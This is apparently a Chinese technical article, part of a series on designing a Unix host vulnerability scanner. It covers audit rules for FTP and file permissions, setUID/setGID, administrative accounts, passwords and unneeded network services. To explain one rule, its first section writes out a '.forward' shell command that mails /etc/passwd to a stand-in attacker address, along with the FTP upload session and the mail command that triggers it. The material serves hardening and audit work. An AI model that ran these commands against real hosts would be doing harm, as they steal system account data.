Unix主機漏洞掃描器的設計與實現(3)
Unix主機漏洞掃描器的設計與實現之審核文件和目錄權限規則
(1)FTP的根目錄
FTP的根目錄不同于主機系統的根目錄,所以FTP下看到的/etc/passwd和系統的/etc/passwd不是一個文件,但有些不稱職的系統管理員在創建FTP目錄結構時會把系統的/etc/passwd文件直接拷貝過來,這就會給黑客以可乘之機。
FTP的根目錄是在系統的/etc/passwd文件中指定的,也就是用匿名FTP登錄到主機后的起始目錄。
例如:事先編寫forward_sucker_file shell腳本,內容為:
- sun% cat forward_sucker_file
- "| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"
- 通過FTP將forward_sucker_file腳本傳送到目標主機(如ngcc.com)
- sun% ftp ngcc.com
- Connected to ngcc.com
- 220 victim FTP server ready.
- Name (ngcc.com:zy): ftp
- 331 Guest login ok, send ident as password.
- Password: [輸入電子郵件地址]
- 230 Guest login ok, access restrictions apply.
- ftp> put forward_sucker_file .forward
- 43 bytes sent in 0.0015 seconds (28 Kbytes/s)
- ftp> quit
將passwd文件內容發送到黑客郵件地址:
sun% echo test | mail ftp@ngcc.com
如果匿名FTP主目錄可寫,可以在其下投放一個".forward"文件;文件內容是一行用雙引號引起來的Shell命令;".forward"文件是用于郵件轉發的:如果某一用戶(此處為ftp)的主目錄下有這個文件,那么當該用戶收到郵件時,就要視".forward"的內容進行轉發。如果".forward"的內容為一些電子郵件地址,該郵件就被轉發到這些地址;而如果為一行用雙引號引起來的Shell命令,則該郵件的內容被重定向到此命令。此處,命令為:"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr",實際上對重定向過來的作為輸入的郵件內容沒有做任何處理,而是把/etc/passwd(為了防止被安全機制過濾,先在每一行行首增加一個空格)發到了攻擊者的電子郵件地址(me@my.e-mail.addr)。因此,在投放了這樣一個".forward"文件后,再隨便發一封電子郵件給victim.com上的FTP用戶,通過"轉發"功能,ngcc.com上的/etc/passwd文件就寄到攻擊者的電子郵件地址上。
(2)其他文件和目錄
確保沒有其他文件和目錄被FTP用戶或所在的組擁有所有權(ownered by ftp account and ftp group);否則,黑客可能借助特洛伊木馬程序對合法文件進行替代,構成漏洞隱患。
除了~/ftp/incoming目錄外,匿名(anonymous)FTP 用戶在其他目錄下不能創建任何文件和子目錄。
文件和目錄權限修改要慎重:對于系統或CERT組織推薦的有關特定文件的讀寫權限,如/var/adm/utmpx和/var/adm/wtmpx文件權限應該為644,不要輕易修改。一般情況下,擁有對任何文件和目錄具有寫權限的用戶只能是超級用戶,進一步說,如果一個文件或目錄可寫,則可寫者只能為超級用戶。
(3)setUID和setGID問題
setUID的作用是允許程序以一個特定用戶的身份去運行,而不管到底是誰在運行它。就是說,setUID允許程序將其用戶ID改變為另一個用戶的ID。SetGID功能同setUID,區別是將一個正在運行的程序的組帳號改變為一個特定的組帳號。setUID和setGID只使用于可執行文件,二者對某些特定的程序才可以訪問特定信息的情形是很有價值的。如普通用戶在運行passwd命令時,由于該命令setUID為root,則可以獲得修改只有root才有相應權限的/etc/shadow文件,從而改變自己的口令。
但是,setUID和setGID容易被黑客利用來制造緩沖區溢出,從而永久獲得root權限。據CERT指出,利用setUID制造緩沖區溢出是黑客獲得root權限的主要方法之一。因此,系統管理員不能隨意賦予可執行文件setUID和setGID特性。
Unix主機漏洞掃描器的設計與實現之審核用戶帳戶的安全性規則
Solaris和Irix等Unix系統中,除去超級用戶外,還存在如lp、sys、adm、nobody等管理帳戶。雖然它們沒有超級用戶的特權,但同樣應受到保護,因為這些帳戶的系統進程可以控制基本的系統功能,如電子郵件、關系數據庫訪問、打印等。這些管理帳戶內的任何一個遭到攻擊,都可能導致相應子系統中的文件被大規模地暴露和損壞。例如,lp帳戶所受的破壞可能會造成攻擊者對打印子系統獲得完全控制,從而使黑客能夠任意地修改打印輸出的內容。
從管理帳戶在Web服務器運作中的職責和作用看,大部分應該予以封閉。比如lp,Web服務器上是沒有必要也不允許打印文件的。由于這些管理帳戶是Unix系統預裝的,系統管理員常予以保留。但這些管理帳戶可能被黑客利用,且它們對Web服務器用處不大。所以,一些管理帳戶,包括daemon、sys、lp、adm、uucp、nuucp、listen,應該封閉。
此外,超級用戶的PATH(在cshell中存在于.cshrc文件,在kshell中存在于.profile文件)或LD_LIBRARY_PATH變量中,不應該存在"."或"~"字符,因為黑客可能利用這一點來植入特洛伊木馬程序。
審核用戶帳戶的安全性規則涉及到/etc/passwd和/etc/shadow兩個核心文件。一方面,系統管理員要保證其內容完整性,禁止非法修改,或者及時發現非法修改并予以修正;另一方面,禁止無口令或弱勢口令的存在。所謂弱勢口令指易于猜測、破解或長期不變更的口令。實踐表明,主機安全的核心問題是超級用戶的口令安全問題。超級用戶的口令被泄露或被成功破解,等于拱手將服務器系統的所有管理權讓于黑客,黑客可以輕易獲得主機內的所有數據。
Unix主機漏洞掃描器的設計與實現之禁止不必要的網絡訪問服務規則
所謂不必要的網絡訪問服務是指實現主機系統網絡服務功能所不需要運行的服務。對于Web主機而言,很多網絡訪問服務在操作系統安裝時就被缺省配置,其所對應的TCP/UDP端口也對外打開,如非常危險的finger服務和它對應的79號TCP端口。
通過對網站的端口掃描,可以發現很多系統管理員對外提供了或多或少的不必要的網絡訪問服務。而從系統內部審核不必要網絡訪問服務的方法是禁止不必要的網絡訪問服務的最有效手段之一。需要補充的是,另外一些需要禁止的服務為:sendmail、NFS服務器和客戶機、automounter和rexd等。
由于sendmail是著名的漏洞程序,很多機構購置了Netscape Messaging Server等其他mail服務軟件加以替代;rexd服務基本無安全可言,遠程用戶可以象在本地一樣暢通無阻地運行本地主機的程序。因此rexd處于被禁之列。
【編輯推薦】